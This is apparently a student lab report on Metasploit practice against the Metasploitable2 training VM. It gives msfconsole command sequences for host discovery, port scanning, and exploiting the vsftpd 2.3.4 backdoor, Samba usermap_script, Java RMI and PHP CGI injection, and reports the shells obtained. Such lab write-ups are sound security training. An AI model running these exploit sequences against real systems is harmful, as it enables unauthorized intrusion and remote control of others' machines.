1.實驗內容及要求
本實踐目標是掌握metasploit的用法。
指導書參考Rapid7官網的指導教程。
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/
下載官方靶機Metasploitable2,完成下面實驗內容。
(1)前期滲透
①主機發現(可用Aux中的arp_sweep,search一下就可以use)
②埠掃描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
③選做:也可以掃系統版本、漏洞等。
(2)Vsftpd原始碼包後門漏洞(21埠)
漏洞原理:在特定版本的vsftpd伺服器程式中,被人惡意植入程式碼,當使用者名稱以“😃”為結尾,伺服器就會在6200埠監聽,並且能夠執行任意程式碼。
利用步驟:
在kali中執行msfconsole 啟動metasploit
use exploit/unix/ftp/vsftpd_234_backdoor 選擇漏洞
set RHOST XX.xx.xx.xx 設定要攻擊的機器IP(靶機IP)
exploit/run 開始攻擊
利用成功
執行uname –a、 pwd、 id等命令 驗證
(3)SambaMS-RPC Shell命令注入漏洞(埠139)
漏洞原理:Samba中負責在SAM資料庫更新使用者口令的程式碼未經過濾便將使用者輸入傳輸給了/bin/sh。如果在呼叫smb.conf中定義的外部指令碼時,透過對/bin/sh的MS-RPC呼叫提交了惡意輸入的話,就可能允許攻擊者以nobody使用者的許可權執行任意命令。
利用步驟:
use exploit/multi/samba/usermap_script 選擇漏洞
set RHOST ip 設定要攻擊的機器IP
exploit 開始攻擊
利用成功 執行uname–a驗證
(4)Java RMI SERVER命令執行漏洞(1099埠)
漏洞原理:Java RMI Server的RMI登錄檔和RMI啟用服務的預設配置存在安全漏洞,可被利用導致程式碼執行。
操作步驟:
首先檢視1099埠是否開啟。
然後在MSF中:
use exploit/multi/misc/java_rmi_server
show options 檢視配置引數
set RHOST (靶機IP)
exploit/run
sessions -i id
shell (進入meterpreter時,使用whoami驗證下)
(5)PHP CGI引數執行注入漏洞(80埠)
漏洞原理:CGI指令碼沒有正確處理請求引數,導致原始碼洩露,允許遠端攻擊者在請求引數中插入執行命令。
在kali中執行msfconsole,啟動metasploit
msf > use exploit/multi/http/php_cgi_arg_injection 選擇漏洞
set RHOST ip 設定要攻擊的機器IP
exploit/run 開始攻擊
2.實驗過程
2.1前期滲透
2.1.1主機發現
查詢虛擬機器ip
查詢主機ip
主機和虛擬機器執行ping命令
2.實驗過程
2.1 前期滲透
2.1.1 主機發現(可用Aux中的arp_sweep,search一下就可以use)
search arp_sweep
use 0
set RHOSTS 192.168.1.0/24
set THREADS 30 run
成功查詢到靶機(192.168.1.114)
2.1.2 埠掃描:可以直接用nmap,也可以用Aux中的portscan/tcp等
search portscan/tcp
set ROHSTS 192.168.1.114
run
成功掃描出tcp埠。
2.1.3 掃描系統版本、漏洞
search auxiliary/scanner/smb/smb_version
use 0
set RHOSTS 192.168.1.114
run
目標主機執行的是一個較舊的 Samba 版本(3.0.20),且使用 SMBv1,可能存在一些已知漏洞。
2.2 Vsftpd原始碼包後門漏洞(21埠)
漏洞原理:在特定版本的vsftpd伺服器程式中,被人惡意植入程式碼,當使用者名稱以“😃”為結尾,伺服器就會在6200埠監聽,並且能夠執行任意程式碼。
search exploit/unix/ftp/vsftpd_234_backdoor
use 0
set RHOST 192.168.1.114
run
run攻擊成功執行後,再輸入uname –a、 pwd、 id等命令 驗證。
2.3 SambaMS-RPC Shell命令注入漏洞(埠139)
漏洞原理:Samba中負責在SAM資料庫更新使用者口令的程式碼未經過濾便將使用者輸入傳輸給了/bin/sh。如果在呼叫smb.conf中定義的外部指令碼時,透過對/bin/sh的MS-RPC呼叫提交了惡意輸入的話,就可能允許攻擊者以nobody使用者的許可權執行任意命令。
search exploit/multi/samba/usermap_script
use 0
set RHOST 192.168.1.114
exploit
利用成功 執行uname –a驗證
2.4 Java RMI SERVER命令執行漏洞(1099埠)
漏洞原理:Java RMI Server的RMI登錄檔和RMI啟用服務的預設配置存在安全漏洞,可被利用導致程式碼執行。
search exploit/multi/misc/java_rmi_server
use 0
show options //檢視配置引數
set RHOST 192.168.1.114
exploit
執行成功,輸入sessions -i 3進入任務
再輸入shell,利用whoami命令驗證,得到結果root。
2.5 PHP CGI引數執行注入漏洞(80埠)
漏洞原理:CGI指令碼沒有正確處理請求引數,導致原始碼洩露,允許遠端攻擊者在請求引數中插入執行命令。
search exploit/multi/http/php_cgi_arg_injection
use 0
set RHOST 192.168.1.114
Exploit
攻擊成功,輸入dir驗證。
3.問題及解決方案
本次實驗在虛擬機器安裝的時候出現了一些問題,發現是版本不相容,更換vmware版本後可以正常執行
4.學習感悟、思考
在進行 Metasploit 滲透測試的實踐後,我深刻感受到網路安全領域猶如一座充滿未知陷阱和錯綜複雜的迷宮。透過這次實踐,我認識到每個看似堅固的系統都有可能隱藏著被攻破的脆弱點,Metasploit 這樣的強大工具,既是一柄銳利的劍,也是一塊鏡子。它讓我們看到了攻擊者如何利用各種手段,從資訊收集、漏洞掃描、遠端利用漏洞,到最終控制目標系統的完整流程,這一切的連貫性和簡易性令人震撼。它提醒我們,在構建防禦體系時,不容忽視任何一個環節,只有從全域性出發,做到面面俱到,才能有效防範潛在的安全威脅。
但與此同時,這次實踐也讓我更加深刻地認識到道德責任的重要性。掌握如此強大的技術能力,如果不能正確引導使用,就有可能為惡意攻擊者所用,給社會和他人帶來不可預估的損害。正因為如此,作為網路安全從業者,我們不僅需要精湛的技術水平,更需要堅定的道德操守。我們要時刻警惕,避免技術能力被濫用,要將我們的知識和技能投入到保護資訊資產的工作中,而不是利用它們去破壞或傷害他人。這種實踐讓我意識到,網路安全攻防背後的每一個決策、每一個行為,都涉及到人性、倫理和社會責任的深刻問題。
此外,網路安全的實踐也讓我更加認識到持續學習的必要性。隨著技術和攻擊手段的不斷髮展,新的漏洞、攻擊技術層出不窮,作為網路安全從業者,我們必須時刻保持對新知識的敏感度,跟上時代的步伐,保持警覺,才能在不斷變化的網路環境中,保持競爭力、保持領先,構築起牢不可破的安全防線,守護好我們的數字世界。
這次的實踐經歷讓我對網路安全有了更加全面和深刻的認識。在未來的職業生涯中,我將繼續學習、反思並堅持正確的價值觀,以技術為盾,以責任為劍,保護我們的網路環境和資訊資產。